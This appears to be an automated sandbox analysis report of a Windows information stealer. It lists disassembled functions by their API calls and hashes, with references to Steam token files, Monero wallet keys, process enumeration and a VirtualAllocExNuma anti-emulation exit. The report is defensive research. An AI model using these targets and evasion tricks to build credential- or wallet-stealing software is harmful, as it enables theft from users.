Associated: 00000000.00000002.2010035965.0000000000C15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000F74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001072000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001079000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010616047.0000000001089000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010737533.0000000001224000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010753682.0000000001225000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b90000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID:
API String ID: 3722407311-0
Opcode ID: 37234b90aeeaaae78cf3db25f4471bb4102d8a6641c17acc7e079a814f54a199
Instruction ID: 8e9df16e5267c6a54ecfa51093055076a84565957ffd1616297581b07d8405e7
Opcode Fuzzy Hash: 37234b90aeeaaae78cf3db25f4471bb4102d8a6641c17acc7e079a814f54a199
Instruction Fuzzy Hash: 22815975B102089FCF18EF68D991AEEB7F5FF95300F508569E80A9F251DB309A05CB92

Function 00BA70D0 Relevance: 4.6, APIs: 2, Strings: 1, Instructions: 140COMMON

Download Yara Rule

APIs

Part of subcall function 00BAA740: lstrcpy.KERNEL32(00BB0E17,00000000), ref: 00BAA788

memset.MSVCRT ref: 00BA716A

Strings

65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30, xrefs: 00BA718C

Memory Dump Source

Source File: 00000000.00000002.2010035965.0000000000B91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B90000, based on PE: true

Associated: 00000000.00000002.2010022530.0000000000B90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000BEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000F74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001072000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001079000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010616047.0000000001089000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010737533.0000000001224000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010753682.0000000001225000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b90000_file.jbxd

Yara matches

Similarity

API ID: lstrcpymemset
String ID: 65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30
API String ID: 4047604823-4138519520
Opcode ID: f85947050a108f0129295e6f415bf618d135bffec82f7790d531df8ca37bcf56
Instruction ID: 8e437b8f786c2236c6be0f5fc3f5b66d9a6449aa2f00197363302944adcff00e
Opcode Fuzzy Hash: f85947050a108f0129295e6f415bf618d135bffec82f7790d531df8ca37bcf56
Instruction Fuzzy Hash: 5E515DB0D482189BDB24EBA0DC85BEEB3F4AF56304F1441E8E11576181EF746E88CF65

Function 00BA9470 Relevance: 4.5, APIs: 3, Instructions: 29COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(00000410,00000000,?), ref: 00BA9484
K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 00BA94A5
CloseHandle.KERNEL32(00000000), ref: 00BA94AF

Memory Dump Source

Source File: 00000000.00000002.2010035965.0000000000B91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B90000, based on PE: true

Associated: 00000000.00000002.2010022530.0000000000B90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000BEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000F74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001072000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001079000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010616047.0000000001089000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010737533.0000000001224000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010753682.0000000001225000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b90000_file.jbxd

Yara matches

Similarity

API ID: CloseFileHandleModuleNameOpenProcess
String ID:
API String ID: 3183270410-0
Opcode ID: 1dd88f5e64119bd304d01ac257cd9c7a77afe54146279aadd1da0bd5fd4f5f6d
Instruction ID: b8bf3677e7df661fd8449140193c452d2eee5c41b4b8fb827eb570434c05a555
Opcode Fuzzy Hash: 1dd88f5e64119bd304d01ac257cd9c7a77afe54146279aadd1da0bd5fd4f5f6d
Instruction Fuzzy Hash: C1F05E7490030CFBDB14DFA4DC4AFEE77B8EB08300F008498BA0997290D6B06E85DBA1

Function 00B91110 Relevance: 4.5, APIs: 3, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 00B9112B
VirtualAllocExNuma.KERNEL32(00000000), ref: 00B91132
ExitProcess.KERNEL32 ref: 00B91143

Memory Dump Source

Source File: 00000000.00000002.2010035965.0000000000B91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B90000, based on PE: true

Associated: 00000000.00000002.2010022530.0000000000B90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000BEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000F74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001072000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001079000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010616047.0000000001089000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010737533.0000000001224000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010753682.0000000001225000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b90000_file.jbxd

Yara matches

Similarity

API ID: Process$AllocCurrentExitNumaVirtual
String ID:
API String ID: 1103761159-0
Opcode ID: 24845971213426e4192224bdcf7c7ceca7230e18a711ab32d7baea8eb055e449
Instruction ID: a68493910beb5ac81bd26bcb5ca60c4dcc80e8a165d6a32514094d07793c2a27
Opcode Fuzzy Hash: 24845971213426e4192224bdcf7c7ceca7230e18a711ab32d7baea8eb055e449
Instruction Fuzzy Hash: 72E01D7094634CFFEB106BA9DC0EB0D77B8EB04B01F104595F709F62D0D6B52640A7A9

Function 00B96D40 Relevance: 3.2, APIs: 2, Instructions: 157COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2010035965.0000000000B91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B90000, based on PE: true

Associated: 00000000.00000002.2010022530.0000000000B90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000BEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000F74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001072000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001079000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010616047.0000000001089000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010737533.0000000001224000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010753682.0000000001225000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b90000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 83792b872c7e0f5952ae7f0bf386af65ec0ba0f9ad07dfc6ca6e77b51439e027
Instruction ID: 6186787f878f21206877468b3913c872c710cc8b20586e51086a10a641cfd200
Opcode Fuzzy Hash: 83792b872c7e0f5952ae7f0bf386af65ec0ba0f9ad07dfc6ca6e77b51439e027
Instruction Fuzzy Hash: 5B61D4B4900218EBCF14DF94E984BEEB7F0FB48304F1485A9E419A7281D775AE94DF91

Function 00BA5100 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 40stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00BAA740: lstrcpy.KERNEL32(00BB0E17,00000000), ref: 00BAA788

Part of subcall function 00BAA820: lstrlen.KERNEL32(00B94F05,?,?,00B94F05,00BB0DDE), ref: 00BAA82B
Part of subcall function 00BAA820: lstrcpy.KERNEL32(00BB0DDE,00000000), ref: 00BAA885

lstrlen.KERNEL32(00000000,00000000,00BB0ACA), ref: 00BA512A

Strings

steam_tokens.txt, xrefs: 00BA513F

Memory Dump Source

Source File: 00000000.00000002.2010035965.0000000000B91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B90000, based on PE: true

Associated: 00000000.00000002.2010022530.0000000000B90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000BEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000F74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001072000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001079000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010616047.0000000001089000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010737533.0000000001224000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010753682.0000000001225000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b90000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen
String ID: steam_tokens.txt
API String ID: 2001356338-401951677
Opcode ID: b67430c95f99b256a9a81f1649980e1f35589980fce26e82667f6793da72de6b
Instruction ID: 6ec12564d7db6a9d066b490a9eab843ae7a7391a57e91d0d82bf4b117018eb41
Opcode Fuzzy Hash: b67430c95f99b256a9a81f1649980e1f35589980fce26e82667f6793da72de6b
Instruction Fuzzy Hash: CBF01D7191810867CB54FBB4DC57AFD73BC9B56300F8045E8B41762092EF346A09C6B2

Function 00BA7ED0 Relevance: 3.0, APIs: 2, Instructions: 34COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(00BB0E2C), ref: 00BA7F00
wsprintfA.USER32 ref: 00BA7F16

Memory Dump Source

Source File: 00000000.00000002.2010035965.0000000000B91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B90000, based on PE: true

Associated: 00000000.00000002.2010022530.0000000000B90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000BEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000F74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001072000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001079000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010616047.0000000001089000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010737533.0000000001224000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010753682.0000000001225000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b90000_file.jbxd

Yara matches

Similarity

API ID: InfoSystemwsprintf
String ID:
API String ID: 2452939696-0
Opcode ID: 906b8da8af257da3648b98a0181f4d822044ba926fd0254703055c735bc5a446
Instruction ID: 693d0a38568aa4bad07f2cb242d6c2d7de69db698db7138860aea186ff1b6a82
Opcode Fuzzy Hash: 906b8da8af257da3648b98a0181f4d822044ba926fd0254703055c735bc5a446
Instruction Fuzzy Hash: 03F096B1944608EBC710DF88DC45FEAF7BCF745714F4046AAF515D2680D7B559048BE1

Function 00B9B4F0 Relevance: 2.9, APIs: 2, Instructions: 397stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00BAA740: lstrcpy.KERNEL32(00BB0E17,00000000), ref: 00BAA788

Part of subcall function 00BAA9B0: lstrlen.KERNEL32(?,00639178,?,\Monero\wallet.keys,00BB0E17), ref: 00BAA9C5
Part of subcall function 00BAA9B0: lstrcpy.KERNEL32(00000000), ref: 00BAAA04
Part of subcall function 00BAA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00BAAA12

Part of subcall function 00BAA920: lstrcpy.KERNEL32(00000000,?), ref: 00BAA972
Part of subcall function 00BAA920: lstrcat.KERNEL32(00000000), ref: 00BAA982

Part of subcall function 00BAA8A0: lstrcpy.KERNEL32(?,00BB0E17), ref: 00BAA905

Part of subcall function 00BAA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00BAA7E6

lstrlen.KERNEL32(00000000), ref: 00B9B9C2
lstrlen.KERNEL32(00000000), ref: 00B9B9D6

Memory Dump Source

Source File: 00000000.00000002.2010035965.0000000000B91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B90000, based on PE: true

Associated: 00000000.00000002.2010022530.0000000000B90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000BEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000F74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001072000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001079000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010616047.0000000001089000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010737533.0000000001224000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010753682.0000000001225000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b90000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: c80989a0f9bd4322e816ee52cbe6fef3480450eac0836d0c3c4d7be66efd1dfa
Instruction ID: 7f85ff723cd8df5c32560d1979f8211586fc26f3bbf0c1caaaa8f9bd388b9ead
Opcode Fuzzy Hash: c80989a0f9bd4322e816ee52cbe6fef3480450eac0836d0c3c4d7be66efd1dfa
Instruction Fuzzy Hash: A1E10072914118ABDB54FBA4DC92EEE73B8BF15300F4045A9F107B61A1EF346A49CB72

Function 00B9AEF0 Relevance: 2.7, APIs: 2, Instructions: 236stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00BAA740: lstrcpy.KERNEL32(00BB0E17,00000000), ref: 00BAA788

Part of subcall function 00BAA9B0: lstrlen.KERNEL32(?,00639178,?,\Monero\wallet.keys,00BB0E17), ref: 00BAA9C5
Part of subcall function 00BAA9B0: lstrcpy.KERNEL32(00000000), ref: 00BAAA04
Part of subcall function 00BAA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00BAAA12

Part of subcall function 00BAA920: lstrcpy.KERNEL32(00000000,?), ref: 00BAA972
